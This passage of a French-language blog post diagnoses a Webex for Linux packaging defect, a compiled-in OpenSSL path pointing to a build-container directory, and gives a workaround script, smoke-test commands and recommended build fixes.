OPENSSLDIR=$(strings /opt/Webex/lib/libcrypto.so.3 \\ | grep -oP \u0026#39;(?\u0026lt;=OPENSSLDIR: \u0026#34;)[^\u0026#34;]+\u0026#39;) [ -n \u0026#34;$OPENSSLDIR\u0026#34; ] || { echo \u0026#34;no OPENSSLDIR found in the shipped library\u0026#34;; exit 1; } for p in /etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem \\ /etc/ssl/certs/ca-certificates.crt \\ /etc/pki/tls/certs/ca-bundle.crt \\ /etc/ssl/cert.pem; do [ -f \u0026#34;$p\u0026#34; ] \u0026amp;\u0026amp; { CA_BUNDLE=\u0026#34;$p\u0026#34;; break; } done [ -n \u0026#34;${CA_BUNDLE:-}\u0026#34; ] || { echo \u0026#34;no system CA bundle found\u0026#34;; exit 1; } echo \u0026#34;OPENSSLDIR: $OPENSSLDIR\u0026#34; echo \u0026#34;CA bundle: $CA_BUNDLE\u0026#34; sudo mkdir -p \u0026#34;$OPENSSLDIR\u0026#34; sudo ln -sf \u0026#34;$CA_BUNDLE\u0026#34; \u0026#34;$OPENSSLDIR/cert.pem\u0026#34; sudo ln -sf \u0026#34;$(dirname \u0026#34;$CA_BUNDLE\u0026#34;)\u0026#34; \u0026#34;$OPENSSLDIR/certs\u0026#34; sudo tee \u0026#34;$OPENSSLDIR/openssl.cnf\u0026#34; \u0026gt; /dev/null \u0026lt;\u0026lt;\u0026#39;CONF\u0026#39; openssl_conf = openssl_init [openssl_init] providers = provider_sect [provider_sect] default = default_sect fips = fips_sect [default_sect] activate = 1 CONF echo \u0026#34;done. now restart Webex\u0026#34; Relancez-le, et la même séquence de démarrage produit le résultat inverse. Même binaire. Mêmes lignes de journal. Le renouvellement de jeton, qui échouait en moins de soixante millisecondes, se termine maintenant en trois cent trente :\nAuthTokenRequester.cpp:579 Managed to fetch a new Kms access token. AuthTokenRequester.cpp:579 Managed to fetch a new CloudApps access token. AuthTokenSupervisor.cpp:310 Auth tokens refreshed. Expires in [64799 secs]. AuthenticationManager.cpp:1860 onUserAuthenticated: User authenticated. ConnectivityStateMachine::Authentication - UserNotAuthenticated -\u0026gt; UserAuthenticated Authentifié en environ 750 ms, donc le minuteur de quinze secondes ne se déclenche jamais et la bannière n\u0026rsquo;apparaît jamais. Les services téléphoniques passent de Disconnected à Connecting, un état que la session cassée n\u0026rsquo;a jamais atteint en une minute d\u0026rsquo;essais.\nAvant Après Test réseau réussit réussit Première requête HTTPS 167772294 Error in SSL handshake HTTP 200 Jeton CloudApps échec obtenu Jeton Kms échec obtenu Authentification bloquée sur UserNotAuthenticated UserAuthenticated Bannière à 15 s « Offline - No internet connection » aucune Services téléphoniques jamais tentés en connexion Temps jusqu\u0026rsquo;à l\u0026rsquo;authentification jamais ~750 ms Notez ce que le correctif fait à votre système de fichiers, parce que ça devrait vous gêner. Il crée sur votre machine un répertoire de premier niveau appelé /workspace, un nom auquel la Filesystem Hierarchy Standard ne donne aucune place10, contenant un chemin de cache Conan et une empreinte de build appartenant à une entreprise à qui vous avez acheté un logiciel. Voilà la forme du remède que Cisco vous a laissé : monter l\u0026rsquo;environnement de build de quelqu\u0026rsquo;un d\u0026rsquo;autre à la racine du vôtre.\nIl va aussi casser. De trois façons :\nQuand ça casse Pourquoi Ce que vous faites Une mise à jour de Webex cisco8ee8b59cf93de dérive des entrées de build, donc une dépendance reconstruite signifie un nouveau répertoire Relancer le script ; il lit le chemin dans le nouveau binaire au lieu de supposer l\u0026rsquo;ancien Un changement de distribution La cible du lien symbolique est une décision de distribution, pas une norme11 Le repointer ; le script sonde quatre emplacements connus Une réinstallation /workspace n\u0026rsquo;est sauvegardé, empaqueté ni possédé par rien Le relancer, à chaque fois, pour toujours Rien de tout ça n\u0026rsquo;est de la maintenance. C\u0026rsquo;est vous, remplaçant une étape de la chaîne de build de quelqu\u0026rsquo;un d\u0026rsquo;autre, indéfiniment, gratuitement. Rustiner un défaut à l\u0026rsquo;exécution, sur chaque machine que vous possédez, parce que l\u0026rsquo;éditeur n\u0026rsquo;a pas voulu le rustiner une fois à la compilation.\nIls connaissaient la règle et l\u0026rsquo;ont appliquée à la moitié du build Voici ce qui fait passer ça d\u0026rsquo;un rapport de bug à un argument.\nLisez la section dynamique des binaires livrés :\n$ readelf -d /opt/Webex/bin/libcurl.so | grep RUNPATH 0x1d (RUNPATH) Library runpath: [$ORIGIN:$ORIGIN/../lib] $ readelf -d /opt/Webex/bin/CiscoCollabHost | grep RUNPATH 0x1d (RUNPATH) Library runpath: [$ORIGIN/../lib] $ORIGIN se développe au chargement en le répertoire contenant l\u0026rsquo;objet lui-même12. C\u0026rsquo;est le bon outil pour un ensemble déplaçable et ils l\u0026rsquo;ont utilisé correctement. Ils y étaient obligés : Webex livre le même arbre deux fois, une fois dans /opt/Webex et une fois dans ~/.local/share/WebexLauncher/46.8.0.35631_9e6196c9-…/, et un lanceur choisit entre les deux au démarrage. Deux préfixes, un build, et l\u0026rsquo;éditeur de liens retrouve ses bibliothèques dans les deux.\nLes gens qui ont fait ce paquet avaient donc parfaitement compris le problème. Les chemins absolus ne survivent pas à la livraison. Ils l\u0026rsquo;ont résolu pour le code.\nPuis ils ont laissé les chemins de données sous forme de chaînes absolues nommant le conteneur qui les a compilés. Même build. Même après-midi.\nUn chemin du bundle se déplace tout seul. L'autre nomme une machine dans un centre de données quelque part. Ils savaient que le bundle devait bouger. Ils ne l'ont appliqué qu'au code. Les deux valeurs sont posées à la compilation par les mêmes gens le même jour. L'une se développe au chargement, l'autre jamais. D'où vient le code : enregistré comme expression relative RUNPATH dans libcurl.so $ORIGIN:$ORIGIN/../lib /opt/Webex/lib résolu ~/.local/share/WebexLauncher/46.8.0.35631_.../lib résolu aussi Correct, et voulu. Le même arbre est livré deux fois à deux préfixes et l'éditeur de liens le trouve dans les deux. D'où vient la confiance : enregistré comme le répertoire de travail de quelqu'un OPENSSLDIR dans libcrypto.so.3 /workspace/.conan2/p/b/cisco8ee.../p/ssl aucun chemin de ce nom non résolu ENGINESDIR et MODULESDIR : même arbre, même issue Trois chemins absolus vers un conteneur de build, livrés à chaque client, sur un produit vendu avec un contrat de support. Entre les deux moitiés de cette image, il y a une personne qui lance l'artefact empaqueté sur une machine qui ne l'a pas construit. C'est tout le défaut. Pas un bug difficile. Un bug non testé. Le même build, le même jour, les mêmes ingénieurs. Le chemin de recherche des bibliothèques est enregistré comme une expression qui se résout là où l\u0026rsquo;arbre atterrit. Le chemin de confiance est enregistré comme le répertoire de travail de quelqu\u0026rsquo;un. Ceci ne peut donc pas être classé sous ils ne savaient pas. On ne tombe pas sur $ORIGIN par hasard. On y va parce qu\u0026rsquo;on a compris qu\u0026rsquo;un chemin absolu cuit dans un artefact livré est un défaut, et compris assez bien pour aller le corriger dans l\u0026rsquo;éditeur de liens. Puis le même build écrit trois chemins absolus dans les mêmes bibliothèques, et les livre.\nConnaître la règle et l\u0026rsquo;appliquer à la moitié du build est pire que de ne pas la connaître. Ne pas savoir est un problème de formation et la formation a une solution. Ceci est un paquet qui contenait la bonne idée, par écrit, dans l\u0026rsquo;en-tête ELF où n\u0026rsquo;importe qui pouvait la lire, et il est sorti cassé quand même. Ce qui vous dit que rien en aval du compilateur ne regardait le résultat. Rien.\nLe conteneur était déjà là D\u0026rsquo;où vient /workspace n\u0026rsquo;est pas un mystère, et vous n\u0026rsquo;avez pas à deviner. C\u0026rsquo;est dans l\u0026rsquo;en-tête du paquet :\n$ rpm -qi webex | grep -E \u0026#39;Build Host|Build Date|Vendor\u0026#39; Build Date : Sat 08 Aug 2026 20:47:43 BST Build Host : c964ea9239ae Vendor : Cisco c964ea9239ae n\u0026rsquo;est pas un nom d\u0026rsquo;hôte que quelqu\u0026rsquo;un a tapé. Ce sont douze caractères hexadécimaux, ce qu\u0026rsquo;un conteneur rapporte comme nom d\u0026rsquo;hôte quand rien n\u0026rsquo;en définit un. Le paquet a donc été construit dans un conteneur, par une entreprise qui a manifestement les images, le registre et l\u0026rsquo;orchestration pour le faire, et trois artefacts distincts sur cette machine le disent indépendamment :\nPreuve, lue sur le paquet installé Valeur Ce qu\u0026rsquo;elle prouve Build Host dans l\u0026rsquo;en-tête RPM c964ea9239ae un identifiant de conteneur, pas une machine de build OPENSSLDIR dans libcrypto.so.3 /workspace/.conan2/… un chemin qui n\u0026rsquo;existe que dans ce conteneur PLATFORM dans la même bibliothèque conan-Release-Linux-x86_64-gcc-13 une chaîne d\u0026rsquo;outils Conan conteneurisée Requires dans le RPM glibc \u0026gt;= 2.28 un plancher d\u0026rsquo;ABI très ancien, choisi délibérément Ils l\u0026rsquo;ont ensuite signé. Le build s\u0026rsquo;est terminé à 20:47:43 et la signature est datée de 21:02:07 le même soir, identifiant de clé 9995e5bbb5ccde3c. Quinze minutes. Il y a donc une porte de publication, quelqu\u0026rsquo;un ou quelque chose l\u0026rsquo;actionne, et ce qu\u0026rsquo;elle atteste, c\u0026rsquo;est qui a fait le paquet, pas si le paquet fonctionne. Une signature est une déclaration sur la provenance. Elle n\u0026rsquo;a jamais été une déclaration sur l\u0026rsquo;aptitude, et un processus qui a l\u0026rsquo;une et pas l\u0026rsquo;autre a ses priorités dans le mauvais ordre.\nParce que l\u0026rsquo;étape manquante est la moins chère. Le conteneur est déjà dans la chaîne. Prenez l\u0026rsquo;artefact qui vient d\u0026rsquo;en sortir, démarrez une image propre de chaque distribution que vous prétendez prendre en charge, installez-le, lancez-le, et lisez les cent premières lignes du journal :\ndocker run --rm fedora:44 sh -c \u0026#39; dnf -y install ./webex-46.8.0.35631-1.x86_64.rpm \u0026amp;\u0026amp; timeout 25 /opt/Webex/bin/CiscoCollabHost \u0026amp; sleep 20 grep -c \u0026#34;Error in SSL handshake\u0026#34; ~/.local/share/Webex/current_log.txt\u0026#39; Non nul, à chaque fois, sur ce build. L\u0026rsquo;installation fait 1,1 Go, comptez donc une minute par cible sur un cache chaud. Six distributions, c\u0026rsquo;est six minutes d\u0026rsquo;une machine qui tourne déjà, sur du matériel que Cisco possède déjà, dans une chaîne qui existe déjà. Ça n\u0026rsquo;a pas été fait. Pas une fois.\nEt c\u0026rsquo;est la réponse à ce que les gens disent encore de Linux, qu\u0026rsquo;il est difficile de prendre en charge plusieurs distributions. Ça a cessé d\u0026rsquo;être difficile le jour où cet outillage est arrivé, et l\u0026rsquo;outillage est celui-là même avec lequel ils compilent. Une image de base par cible. Le même artefact dans chacune. La matrice est une boucle.\nUne chaîne qui construit dans un conteneur et n\u0026rsquo;exécute jamais le résultat dans un conteneur n\u0026rsquo;est pas une chaîne. C\u0026rsquo;est un compilateur avec une tâche planifiée devant et une clé de signature derrière, et quoi qu\u0026rsquo;elle produise, c\u0026rsquo;est une supposition.\nIls construisent dans un conteneur et n'exécutent jamais le résultat dans un conteneur Le conteneur est déjà dans la chaîne. Il ne sert que pour la moitié qui arrange l'éditeur. Chaque valeur ci-dessous est lue sur le paquet installé, pas déduite. Build, dans un conteneur Build Host: c964ea9239ae /workspace/.conan2/p/b/... conan-Release-Linux-x86_64-gcc-13 trois preuves distinctes d'un conteneur Signer et publier construit 20:47:43 signé 21:02:07 quinze minutes, et une porte de publication qui atteste qui, jamais si Client dnf install webex l'ouvre \"Offline - No internet\" L'étape qui n'est nulle part dans la chaîne docker run --rm fedora:44 sh -c 'dnf -y install ./webex.rpm \u0026amp;\u0026amp; CiscoCollabHost \u0026amp; sleep 20; grep -c \"Error in SSL handshake\" ~/.local/share/Webex/current_log.txt' Même infrastructure. Une image par distribution cible. Moins d'une minute chacune, et ça échoue bruyamment sur ce build. Construire pour plusieurs distributions a cessé d'être difficile le jour où cet outillage est arrivé, et c'est le même outillage avec lequel ils compilent. Une chaîne qui construit dans un conteneur et n'y exécute jamais le résultat est un compilateur avec une tâche planifiée devant et une clé de signature derrière. Trois preuves indépendantes dans le paquet livré que le build a tourné dans un conteneur, une signature appliquée quinze minutes après le build, et la seule étape qui n\u0026rsquo;apparaît nulle part : lancer le paquet fini dans une image propre de chaque plateforme pour laquelle il est vendu comme pris en charge. Pourquoi une version de 2026 est-elle bâtie sur une libc de 2018 ? Le paquet déclare ce dont il a besoin, et la ligne intéressante est la première :\n$ rpm -q --requires webex | grep glibc glibc \u0026gt;= 2.28 glibc 2.28 est sortie le 1er août 201813. C\u0026rsquo;est la version de Red Hat Enterprise Linux 814, une édition dont le support complet s\u0026rsquo;est arrêté en 2024. Ceci est un produit de 2026, compilé en 2026, visant la bibliothèque C de 2018. Puis livrant sa propre copie de 2,5 Mo de libstdc++.so.6 dans le répertoire personnel de l\u0026rsquo;utilisateur, parce que l\u0026rsquo;environnement d\u0026rsquo;exécution C++ qui va avec une base aussi ancienne ne peut pas porter le code.\nPourquoi faire encore ça ? Parce qu\u0026rsquo;ils refusent de lier statiquement.\nC\u0026rsquo;est tout. Dès l\u0026rsquo;instant où vous vous liez dynamiquement à la bibliothèque C de l\u0026rsquo;hôte, la plus vieille distribution que vous acceptez de prendre en charge devient une contrainte sur la machine où vous compilez. Vous ne pouvez pas utiliser un symbole dont la cible la plus ancienne n\u0026rsquo;a jamais entendu parler, donc vous clouez le build sur une image de base antique et vous y restez. Chaque année l\u0026rsquo;écart se creuse. Chaque nouvelle fonctionnalité de langage ou de bibliothèque arrive avec une discussion sur la possibilité de relever le plancher. Livrez votre propre libstdc++ pour masquer le pire, et vous voilà à entretenir en plus un environnement d\u0026rsquo;exécution privé.\nCe marché avait du sens quand un hôte de build était une machine physique dans une baie que quelqu\u0026rsquo;un devait réinstaller. Il n\u0026rsquo;en a plus depuis dix ans. Si vous devez vous lier à la libc de l\u0026rsquo;hôte, un conteneur par cible vous donne un vrai build sur une vraie version de chaque plateforme, et aucune ne contraint les autres.\nMais regardez ce que cette discipline de vieille cible a réellement acheté ici. C\u0026rsquo;est du conservatisme d\u0026rsquo;ABI à un coût considérable : un plancher vieux de huit ans, un environnement C++ embarqué, une matrice de support figée autour. Et le client ne démarre toujours pas. Parce que ce qui a cassé, c\u0026rsquo;est un chemin de fichier, et aucun soin apporté aux versions de symboles ne protège un chemin de fichier. Ils ont payé la taxe de compatibilité et la taxe d\u0026rsquo;empaquetage, et sauté le seul contrôle qui ne coûte rien. Les deux factures. Pas de produit.\nIls ont payé pour un bundle autonome et ne l\u0026rsquo;ont pas eu La façon éprouvée de livrer un logiciel commercial sous Linux est de dépendre du moins possible de l\u0026rsquo;hôte. Statique quand vous pouvez, un arbre autonome quand vous ne pouvez pas, et aucune hypothèse sur la distribution en dessous. Ce n\u0026rsquo;est pas élégant et personne ne prétend le contraire. Ça existe à cause de l\u0026rsquo;alternative. Un binaire qui exige une version précise d\u0026rsquo;une bibliothèque précise à un endroit précis transforme la machine de chaque client en dossier de support.\nCisco a pris la seconde voie et a tout embarqué. Voici l\u0026rsquo;addition :\nCe que contient le bundle Taille ou nombre Objets partagés dans /opt/Webex/lib 150 Leur propre libcurl, CiscoSSL, zlib-ng, ICU, Kerberos, client CUPS, hunspell et moteur d\u0026rsquo;inférence tous Installé sous /opt/Webex 1,1 Go Une seconde copie sous ~/.local/share/WebexLauncher, par utilisateur 1,1 Go Sur le disque pour un client de messagerie et d\u0026rsquo;appels 2,2 Go Deux gigaoctets de dépendances. C\u0026rsquo;est le prix complet de l\u0026rsquo;embarquement : le téléchargement, le disque, la duplication, la charge de sécurité d\u0026rsquo;être la seule partie capable d\u0026rsquo;en corriger quoi que ce soit, tout le lot. Payez ça et ce que vous achetez, c\u0026rsquo;est un programme qui se moque de ce que l\u0026rsquo;hôte a installé, qui se comporte pareil sur Fedora, Debian, Arch et sur ce qu\u0026rsquo;un client a standardisé cette année, et qu\u0026rsquo;une mise à niveau de distribution dont il n\u0026rsquo;a jamais entendu parler ne peut pas casser.\nSauf que non. Il se soucie énormément d\u0026rsquo;un répertoire, et c\u0026rsquo;est un répertoire sur un serveur de build.\nIls ont livré leur propre Kerberos, leur propre ICU et leur propre correcteur orthographique, et ils n\u0026rsquo;ont pas su livrer un chemin fonctionnel vers les certificats. Toute la raison d\u0026rsquo;être du bundle est d\u0026rsquo;être autonome, et il ne l\u0026rsquo;est pas sur le seul point qui l\u0026rsquo;empêche de fonctionner. Chacun de ces 1,1 Go est trouvé correctement grâce à $ORIGIN. La quarantaine d\u0026rsquo;octets qui comptent le plus, non.\nEt c\u0026rsquo;est là que ça me prend. L\u0026rsquo;embarquement est l\u0026rsquo;option chère. Ils ont assumé la dépense, ils ont fait l\u0026rsquo;ingénierie difficile, ils ont réussi la relocalisation de cent cinquante bibliothèques sur deux préfixes d\u0026rsquo;installation. Puis pointé la seule partie qui décide si tout cela fonctionne vers une machine qu\u0026rsquo;aucun client n\u0026rsquo;a jamais possédée.\nPersonne ne l\u0026rsquo;a documenté non plus Une seconde défaillance se tient à côté de la première, et c\u0026rsquo;est celle qui aurait attrapé la première.\nDemandez au paquet quelle documentation il livre :\n$ rpm -qd webex | wc -l 0 $ rpm -qc webex | wc -l 0 Aucun fichier de documentation. Et aucun fichier de configuration. Zéro entrée marquée %config dans un paquet qui livre un openssl.cnf. Ce n\u0026rsquo;est pas cosmétique. Un RPM marque un fichier %config pour que le gestionnaire de paquets préserve ce que l\u0026rsquo;administrateur a changé, en enregistrant un .rpmsave plutôt qu\u0026rsquo;en l\u0026rsquo;écrasant1516. /opt/Webex/lib/openssl.cnf est livré comme un fichier ordinaire, donc la prochaine mise à jour écrase toute modification que vous y avez faite et ne vous dit rien. Le seul fichier qu\u0026rsquo;un client pourrait légitimement avoir besoin d\u0026rsquo;ajuster est celui que l\u0026rsquo;empaquetage traite comme jetable.\nRien de publié ne dit quel magasin de confiance le client utilise, quelles variables d\u0026rsquo;environnement il honore, ni d\u0026rsquo;où il lit sa configuration TLS. Il n\u0026rsquo;y a aucune page à consulter. Aucune n\u0026rsquo;a été écrite. La seule façon dont j\u0026rsquo;ai établi tout cela, c\u0026rsquo;est strings, readelf, ldd et ctypes contre les binaires livrés. Rétro-ingénierie d\u0026rsquo;un produit pris en charge pour répondre à une question à laquelle sa documentation aurait dû répondre en une phrase.\nEt voici pourquoi ça compte plus qu\u0026rsquo;il n\u0026rsquo;y paraît. Écrire cette documentation est en soi un test. Mettez n\u0026rsquo;importe qui chez l\u0026rsquo;éditeur devant une page blanche intitulée d\u0026rsquo;où Webex pour Linux lit ses certificats d\u0026rsquo;autorité, et la première chose à faire est d\u0026rsquo;aller voir. Dès qu\u0026rsquo;ils regardent, ils trouvent /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl, et la chose suivante qui sort d\u0026rsquo;eux est une question. Des chemins de configuration documentés ne sont pas de la paperasse au bénéfice du client. C\u0026rsquo;est l\u0026rsquo;audit le moins cher qu\u0026rsquo;un éditeur puisse mener sur son propre build, et le sauter est la façon dont un chemin pareil survit jusqu\u0026rsquo;à une publication.\nRien de tout ça n\u0026rsquo;est une grande demande. Dites où vit votre configuration. Dites quelles variables d\u0026rsquo;environnement vous honorez. Marquez vos fichiers de configuration comme tels pour qu\u0026rsquo;une mise à jour ne les avale pas. Alors le client qui tombe sur une panne a un endroit où regarder qui n\u0026rsquo;est pas un éditeur hexadécimal.\nPersonne ne l\u0026rsquo;a lancé L\u0026rsquo;étape manquante a été nommée assez de fois plus haut. Ce qui vaut la peine d\u0026rsquo;être demandé, c\u0026rsquo;est pourquoi elle a manqué sur cette plateforme et pas sur les autres.\nPas sur Fedora, en tout cas. Sur macOS et sur le Fisher-Price OS (Windows), cette classe de faute ne peut pas se manifester de la même manière, parce que ces plateformes ont une pile TLS système avec un magasin de confiance géré par le système d\u0026rsquo;exploitation. Linux n\u0026rsquo;a rien de tel. OpenSSL est le magasin de confiance, et par conséquent celui qui le livre est propriétaire de l\u0026rsquo;endroit où il regarde. La seule plateforme où la bibliothèque embarquée est porteuse est donc celle qui a été livrée sans test, ce qui est une décision sur les clients qui méritent un test de fumée.\nToute l\u0026rsquo;enquête a pris une soirée : lire le journal, remarquer que la détection réseau passait avant que la bannière n\u0026rsquo;affirme le contraire, extraire le chemin compilé du binaire, reproduire le code d\u0026rsquo;erreur exact contre la bibliothèque livrée. Tout cela avec un agent d\u0026rsquo;IA qui faisait la corrélation des journaux et le harnais ctypes pendant que je décidais quoi lui demander. Je le mentionne pour une raison : le diagnostic qu\u0026rsquo;un éditeur n\u0026rsquo;a jamais posé avant de signer ce paquet et de le mettre dans son propre dépôt est désormais à portée d\u0026rsquo;une soirée pour n\u0026rsquo;importe quel client ayant la patience de regarder. Les ingénieurs de Cisco ont Claude à disposition comme tout le monde, et il aurait construit ça correctement. Vous ne pouvez pas lui demander de cuire /workspace/.conan2 dans un artefact destiné à être livré sans qu\u0026rsquo;il vous dise ce qui arrivera quand l\u0026rsquo;artefact quittera le workspace. L\u0026rsquo;outillage pour attraper ça n\u0026rsquo;est plus rare, et la connaissance non plus. Ce qui manque, c\u0026rsquo;est quelqu\u0026rsquo;un chez l\u0026rsquo;éditeur dont c\u0026rsquo;était le travail de regarder.\nPendant ce temps, le chemin de support pour la personne qui tombe là-dessus est une bannière disant que son internet est coupé. Elle va redémarrer sa box. Elle va appeler son opérateur. Elle va ouvrir un ticket qui ne mènera nulle part, parce que le symptôme que Cisco a choisi d\u0026rsquo;afficher pointe ailleurs que vers Cisco.\nVoilà la liste complète de ce qui a mal tourné. Il vaut la peine de dire à quoi bien aurait ressemblé, parce que chaque point de cette liste a une réponse établie qui est antérieure à ce produit.\nComment il aurait fallu le construire Assez de ce qui a mal tourné. Voici la norme, et rien n\u0026rsquo;y est nouveau. C\u0026rsquo;est ce que livrer un binaire sur l\u0026rsquo;ordinateur de quelqu\u0026rsquo;un d\u0026rsquo;autre vous demande depuis vingt ans.\nCommencez par la décision que Cisco a eue juste sur le principe et fausse à l\u0026rsquo;exécution : jusqu\u0026rsquo;où vous acceptez de dépendre de l\u0026rsquo;hôte. Lier statiquement est la réponse la plus forte, et il vaut la peine d\u0026rsquo;être concret, parce que « il n\u0026rsquo;y a qu\u0026rsquo;à lier statiquement » est brandi par des gens qui n\u0026rsquo;ont jamais eu à le faire et balayé par des gens qui n\u0026rsquo;ont jamais essayé.\nCe que ça supprime Ce que ça coûte RUNPATH, et toutes les façons de se tromper, parce qu\u0026rsquo;il n\u0026rsquo;y a plus de recherche au chargement la glibc ne se lie pas proprement en statique : la résolution des noms et des utilisateurs passe par dlopen, donc le binaire va quand même chercher les modules NSS de l\u0026rsquo;hôte17 Le plancher glibc, si bien que la plus vieille distribution cesse de dicter sur quoi vous pouvez compiler les parties LGPL portent une obligation de réédition de liens, donc elles restent dynamiques ou vous livrez de quoi relier La casse due à une mise à niveau de distribution, à une bibliothèque renommée ou à un cache ldconfig périmé Vous possédez chaque correctif : aucune mise à jour de sécurité de distribution n\u0026rsquo;atteint vos clients Le dlopen d\u0026rsquo;un .so versionné depuis un répertoire qui peut ne pas être là Un téléchargement plus gros, et aucun partage de pages entre processus Et une ligne dans la colonne de gauche que les autres ne font que soutenir : l\u0026rsquo;artefact que votre chaîne a produit est l\u0026rsquo;artefact que le client exécute, octet pour octet. Testez-le et vous avez testé la chose que vous avez livrée. C\u0026rsquo;est la propriété dont tout cet article raconte l\u0026rsquo;absence.\nLa colonne de droite mérite de l\u0026rsquo;honnêteté. Des coûts réels, et la raison pour laquelle les gens se tournent vers musl ou acceptent un hybride. Mais regardez la troisième ligne. Posséder chaque correctif s\u0026rsquo;applique à l\u0026rsquo;identique à ce que Cisco a déjà fait : un arbre embarqué de 150 bibliothèques est le même engagement sans aucune des garanties au chargement. Ils se sont engagés à posséder chaque correctif dans les deux cas et n\u0026rsquo;ont rien obtenu en retour.\nLa règle est donc simple, et c\u0026rsquo;est celle qu\u0026rsquo;ils ont enfreinte : tout ce que vous ne pouvez pas lier dedans, vous devez le trouver par un chemin relatif au binaire. $ORIGIN pour le code, et la même discipline, délibérément, pour chaque chemin de données que la bibliothèque ira chercher. Ici il y en a quatre et chacun a une poignée documentée :\nCe que la bibliothèque va chercher Ce qui a été livré Ce que ça aurait dû être Ancres de confiance OPENSSLDIR/cert.pem, figé à la compilation livrées dans l\u0026rsquo;arbre, ou SSL_CERT_FILE défini au démarrage5 Configuration OPENSSLDIR/openssl.cnf, même chemin, jamais trouvé OPENSSL_CONF, pointé sur la copie du paquet5 Fournisseurs, dont FIPS MODULESDIR, absolu, donc fips.so inatteignable OPENSSL_MODULES, « the directory from which cryptographic providers are loaded »5 Moteurs ENGINESDIR, absolu OPENSSL_ENGINES, ou rien, puisque OpenSSL 4.0 a retiré le support des moteurs5 Quatre chemins, quatre variables d\u0026rsquo;environnement, toutes dans une seule page de manuel que leur propre bibliothèque livre avec elle. Si une chaîne de votre artefact commence par un / et a été décidée à la compilation, c\u0026rsquo;est un défaut qui attend qu\u0026rsquo;un client le trouve. Il n\u0026rsquo;existe pas de troisième option où un chemin de build absolu soit acceptable.\nLes correctifs pour celui-ci, et le contrôle qui l\u0026rsquo;attrape Descendons du principe à ce défaut précis. Six changements, pas un seul qui relève de la recherche :\nCorrectif Effort Pourquoi c\u0026rsquo;est juste Mettre --openssldir=/opt/Webex/lib/ssl et livrer l\u0026rsquo;arbre une option de configuration Le chemin existe alors dans le paquet, et c\u0026rsquo;est à ça que sert l\u0026rsquo;option2 Définir SSL_CERT_FILE/SSL_CERT_DIR dans CiscoSSLUtils au démarrage, en sondant les chemins connus des distributions une douzaine de lignes Standard, documenté, déjà pris en charge par leur propre bibliothèque5 Livrer eux-mêmes le paquet de CA dans le paquet empaquetage seulement Contrôle complet de la confiance, au prix d\u0026rsquo;en assurer la fraîcheur Corriger l\u0026rsquo;openssl.cnf pour activer le fournisseur default une ligne Nécessaire de toute façon, et actuellement masqué par la faute de chemin6 Marquer openssl.cnf comme %config une ligne de spec Empêche une mise à jour d\u0026rsquo;avaler en silence la modification d\u0026rsquo;un administrateur15 Publier les chemins et les variables honorées une page L\u0026rsquo;audit le moins cher qui soit, et il trouve cette faute pendant qu\u0026rsquo;on l\u0026rsquo;écrit Le premier est le correctif d\u0026rsquo;une option et il aurait livré le produit en état de marche. C\u0026rsquo;est une seule valeur dans un script de build, définie une fois, qu\u0026rsquo;ils ont eue fausse parce que rien en aval ne l\u0026rsquo;a jamais vérifiée.\nLe contrôle est plus petit que le correctif :\n# in CI, on the packaged artefact, in a clean container test -d \u0026#34;$(strings lib/libcrypto.so.3 | grep -oP \u0026#39;(?\u0026lt;=OPENSSLDIR: \u0026#34;)[^\u0026#34;]+\u0026#39;)\u0026#34; \\ || { echo \u0026#34;shipping a trust store path that does not exist\u0026#34;; exit 1; } Une ligne. Elle aurait fait échouer cette publication bruyamment, en février, sur la machine qui l\u0026rsquo;a faite, dans le conteneur qui l\u0026rsquo;a faite, avant que le paquet ne soit signé. Si elle n\u0026rsquo;est pas là, ce n\u0026rsquo;est ni par difficulté ni par coût. C\u0026rsquo;est que personne n\u0026rsquo;a été chargé de l\u0026rsquo;écrire, et donc que savoir si l\u0026rsquo;artefact empaqueté se comportait comme un logiciel n\u0026rsquo;était le travail de personne.\nCe qu\u0026rsquo;un processus de build bâclé coûte à tout le monde Tout ce qui précède est le processus de build d\u0026rsquo;un produit vu de l\u0026rsquo;intérieur, et je ne vais pas vous y repromener. La question qui vaut la peine, c\u0026rsquo;est de savoir si ce niveau de soin a des chances de s\u0026rsquo;arrêter à une seule équipe.\nAlors mettez le dossier extérieur à côté. La CISA tient un catalogue de vulnérabilités connues pour être exploitées dans la nature. Pas théoriques, pas notées. Observées en train de servir contre des gens. Au 14 septembre 2026 il compte 1 710 entrées18 :\nÉditeur Entrées au catalogue KEV Microsoft 388 Cisco 98 Apple 94 Adobe 81 Google 74 Oracle 46 Fortinet 30 VMware 26 Deuxième, derrière un monopole de système d\u0026rsquo;exploitation et devant tous les autres. La plus récente entrée Cisco est tombée le 14 septembre 2026, la veille de la rédaction de ceci.\nJ\u0026rsquo;ai compté le même fichier trois semaines plus tôt pour /fr/random/is-your-msp-lying-to-you-part2/ : version 2026.08.27, 1 685 entrées, Cisco à 96. Deux de plus depuis, en vingt et un jours.\nSoyez juste sur ce que ce tableau prouve et ne prouve pas à lui seul. Une grande base installée dans des endroits à forte valeur attire l\u0026rsquo;attention, et l\u0026rsquo;attention trouve des bugs, donc tout éditeur de cette taille portera une longue liste. Le nombre est un a priori, pas un verdict.\nLa composition est plus difficile à écarter que le total. Vingt-cinq des quatre-vingt-dix-huit de Cisco sont sur les lignes de sécurité : les pare-feux, les appliances, les concentrateurs VPN, les passerelles de messagerie et web, les services d\u0026rsquo;identité. Et les quatre entrées les plus récentes contre eux, à la suite, sont Secure Firewall Management Center deux fois, Secure Firewall ASA, et Secure Email Gateway, cette dernière le 14 septembre 202618. Pas les commutateurs. Pas le matériel de collaboration. Les produits vendus spécifiquement pour être ce qui protège tous les autres.\nCe qui est la phrase vers laquelle tout cet article marchait, alors la voici clairement. C\u0026rsquo;est une entreprise dont le métier est de vendre des appliances de sécurité, et elle n\u0026rsquo;arrive pas à faire vérifier un certificat par un client de bureau. Pas un cas difficile. Pas une attaque inédite. L\u0026rsquo;opération de sécurité la plus routinière de l\u0026rsquo;informatique, exécutée par tous les navigateurs à chaque chargement de page, dans une bibliothèque qu\u0026rsquo;ils ont eux-mêmes forkée, et ils l\u0026rsquo;ont livrée pointée sur un répertoire qui n\u0026rsquo;a jamais existé sur une machine cliente. Puis signée.\nCe que cet article ajoute, c\u0026rsquo;est un échantillon du processus derrière. Pas une vulnérabilité. Un simple défaut d\u0026rsquo;empaquetage, la classe de faute la moins subtile qui soit, sur une plateforme prise en charge, attrapable par n\u0026rsquo;importe quel test de fumée que quelqu\u0026rsquo;un aurait pris la peine de lancer, et livré quand même. Si une chaîne de build met ça devant un client payant, on ne voit pas bien ce qu\u0026rsquo;elle 